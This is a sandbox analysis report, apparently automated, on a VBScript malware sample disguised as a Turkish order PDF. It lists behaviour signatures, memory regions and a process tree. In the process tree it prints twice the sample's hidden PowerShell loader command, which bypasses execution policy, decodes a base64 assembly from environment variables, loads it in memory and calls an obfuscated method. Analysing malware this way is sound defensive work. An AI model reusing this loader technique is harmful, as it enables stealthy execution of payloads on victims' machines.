Analysis

  • max time kernel
    298s
  • max time network
    116s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/09/2026, 17:14

General

  • Target
    Revize Edilmis Siparisler.pdf.vbs
  • Size 5.4MB
  • Sample260925-vsbw2ss18l
  • SHA256 7e6b0c556eb2505a6c8a86cd5aeb227ba9061be8d0d3e9f36da5aec42e6718f9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Revize Edilmis Siparisler.pdf.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious use of WriteProcessMemory
    PID:5720
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$nuttiest=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$distantial=[Convert]::FromBase64String($nuttiest);[AppDomain]::CurrentDomain.Load($distantial)|Out-Null;[Win32.RMP.Cls_FbtxGLruhu]::Met_FbtxGLruhuJg('YIbhuoqSjzg4sZ4UnJfEqLuWvviBhMzfgL5c0M7kx1Fzzfq+uqBATBvmvv1timnMG3QI7FIrj8n8Hfctofz0eQ==','FP9UVSC98caYTKLEfvnE6ayARdn2vcB1rJm48/tZ1Io=','T7N682f3qspUTuZtmeWeaO/1o0EVtwbdpLCpRiH5HBQJNj0xGcv+oji9TzU7wptL','/4TVsWVTSFAfCswDmF9YGWtVI/p1Yv10uBf5RC6FMKw=','95hMAqddiVxQxKzhExiT71wB6WvthAS37K23mhJgHoE=','X6t2M4uvT3ImLBcCguHPjHcZWVGDpNuEN3bs5chAd7E=','Uv7+0pcj1ExQij/KAKL61dP8g26Zy6fcLKZcIPEnk0I=','HlEWzzDiaEnu9qktWKxXyfmoK3elqFN9URKvtjjef68=','hpUqk8rEUYP/88ubAjdtgm+AdZiFthpBvtg7Zk4ozMY=','5rZlN6N236eziqgy3rl7VvMu+1VOSsdQTS4CIDRr10bqg+V++lm1T13Ew5DeCRij','zwwFGwxZ1Iz561NlqBVBBIV0WkLBo/E01bVdtsdmv60=','Y4sSGx5fgA41PLJx8g4ShDbdb2+gRXr7JBsdD8eYHPA=','AkxGe4wVFDDL0slyc8Blbk8Nhy74qWJEicyGfYc74bA=','iKBQNBs7WDDegdCTdCnZqx2gW6FrHUsjnpt2coo9OL0=','uphSLAfmztauwhUs21hJ3JSje5a1tIfJoezyrL8x4uM=','rhY/8Hi/szEfcWzNq6J0V10UvJdjYlM8AJiy8xj4AtI=','','','')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1292
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$nuttiest=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$distantial=[Convert]::FromBase64String($nuttiest);[AppDomain]::CurrentDomain.Load($distantial)|Out-Null;[Win32.RMP.Cls_FbtxGLruhu]::Met_FbtxGLruhuJg('YIbhuoqSjzg4sZ4UnJfEqLuWvviBhMzfgL5c0M7kx1Fzzfq+uqBATBvmvv1timnMG3QI7FIrj8n8Hfctofz0eQ==','FP9UVSC98caYTKLEfvnE6ayARdn2vcB1rJm48/tZ1Io=','T7N682f3qspUTuZtmeWeaO/1o0EVtwbdpLCpRiH5HBQJNj0xGcv+oji9TzU7wptL','/4TVsWVTSFAfCswDmF9YGWtVI/p1Yv10uBf5RC6FMKw=','95hMAqddiVxQxKzhExiT71wB6WvthAS37K23mhJgHoE=','X6t2M4uvT3ImLBcCguHPjHcZWVGDpNuEN3bs5chAd7E=','Uv7+0pcj1ExQij/KAKL61dP8g26Zy6fcLKZcIPEnk0I=','HlEWzzDiaEnu9qktWKxXyfmoK3elqFN9URKvtjjef68=','hpUqk8rEUYP/88ubAjdtgm+AdZiFthpBvtg7Zk4ozMY=','5rZlN6N236eziqgy3rl7VvMu+1VOSsdQTS4CIDRr10bqg+V++lm1T13Ew5DeCRij','zwwFGwxZ1Iz561NlqBVBBIV0WkLBo/E01bVdtsdmv60=','Y4sSGx5fgA41PLJx8g4ShDbdb2+gRXr7JBsdD8eYHPA=','AkxGe4wVFDDL0slyc8Blbk8Nhy74qWJEicyGfYc74bA=','iKBQNBs7WDDegdCTdCnZqx2gW6FrHUsjnpt2coo9OL0=','uphSLAfmztauwhUs21hJ3JSje5a1tIfJoezyrL8x4uM=','rhY/8Hi/szEfcWzNq6J0V10UvJdjYlM8AJiy8xj4AtI=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Enumerates connected drives
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3144
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\SysWOW64\cmd.exe"
      2⤵
        PID:1220
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\SysWOW64\cmd.exe"
        2⤵
          PID:1132
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\SysWOW64\cmd.exe"
          2⤵
            PID:1964
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\SysWOW64\cmd.exe"
            2⤵
              PID:5524
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\SysWOW64\cmd.exe"
              2⤵
                PID:5144
            • C:\Windows\system32\wscript.exe
              wscript.exe
              1⤵
                PID:4300

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 64B
                    • SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
                    • MD5 SHA1 SHA512

                    memory/1292-18-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/1292-23-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/1292-5-0x000001B02DF10000-0x000001B02DF32000-memory.dmp

                    memory/1292-21-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/1292-20-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/1292-19-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/3144-9-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/3144-11-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/3144-13-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/3144-14-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/3144-15-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/3144-16-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/3144-17-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/3144-12-0x000001C554960000-0x000001C554982000-memory.dmp

                    memory/3144-10-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/3144-0-0x00007FFDB6CBF000-0x00007FFDB6CC0000-memory.dmp

                    memory/3144-8-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/3144-4-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/3144-24-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/3144-1-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp

                    memory/3144-27-0x00007FFDB6B30000-0x00007FFDB74D4000-memory.dmp